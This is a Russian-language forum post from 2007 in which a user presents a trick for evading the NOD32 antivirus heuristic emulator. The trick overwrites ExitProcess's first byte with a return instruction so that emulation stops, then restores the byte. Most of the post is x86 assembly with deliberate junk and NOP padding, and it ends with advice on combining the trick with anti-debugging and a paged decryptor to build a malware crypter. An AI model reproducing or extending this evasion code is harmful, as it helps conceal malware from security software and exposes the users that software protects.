Показать сообщение отдельно

  #13  
Старый 30.01.2007, 09:51
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме:
1941233

Репутация: 2726


По умолчанию

я вам сейчас возможно открою секрет, а возможно нет
насколько я знаю у NOD32 самый мощный эвристик/эмулятор кода
я придумал (возможно не я первый) его обходить таким способом:
записать первым байтом ExitProcess retn (0xc3), вызвать ее а потом восстановить старый байт (надо его прочитать)
выдираю код (с анти-интеллектульным мусором) из одной своей фигни (все исправлять уже очень лень)
Код:
	; WriteProcessMemory at kernel32.ExitProcess
	mov eax, 0x1f
	mov ecx, WriteProcessMemory+0x43
	mov edi, ecx
	inc eax
	dec eax
	lea ebx, [bwrite]
	nop
	nop
	jmp nop5
	dd 0x90909090
	dd 0x90909090
	dd 0x90909090
	dd 0x90909090
nop5:
	push ebx
	push 3
	lea ebx, [cmd_retn]
	push ebx
	mov ebx, ExitProcess-2
	inc ebx
	sub ebx, -1
	nop
	nop
	mov ecx, [ebx]
	xchg ebx, ecx
	sub eax, 2
	nop
	nop
	aad
	xor [cmd_retn], 0x55
	jmp nop6
	dd 0x90909090
	dd 0x90909090
	dd 0x90909090
	dd 0x90909090
nop6:
	sub ebx, eax
	push ebx
	add dword [esp], 0x1f
	dec dword [esp]
	mov esi, edi
	dec dword [esp]
	push 1
	dec dword [esp]
	sub dword [esp], 1
	mov ecx, esi
	jmp nop7
	dd 0x90909090
	dd 0x90909090
	dd 0x90909090
	dd 0x90909090
nop7:
	call dword [ecx-0x43]
	nop
	nop
;        jmp ml

	; goodbye, NOD32 heu
	finvoke  ExitProcess, 0
когда я это все делал, работало отлично. NOD видел завершение обычное процесса
и весь код дальше его эмулятор не выполнял. далее можно расшифровывать любым алгоритмом остальной код и запускать его. На SEH нод не реагирует.

Из этого помоему уже можно что-нибудь придумать.

Добавьте некоторые старые антиотладочные приёмы, сделайте навесной расшифровщик постраничный
и у вас получится офигенный криптор.

хэк?

Последний раз редактировалось KEZ; 30.01.2007 в 09:54..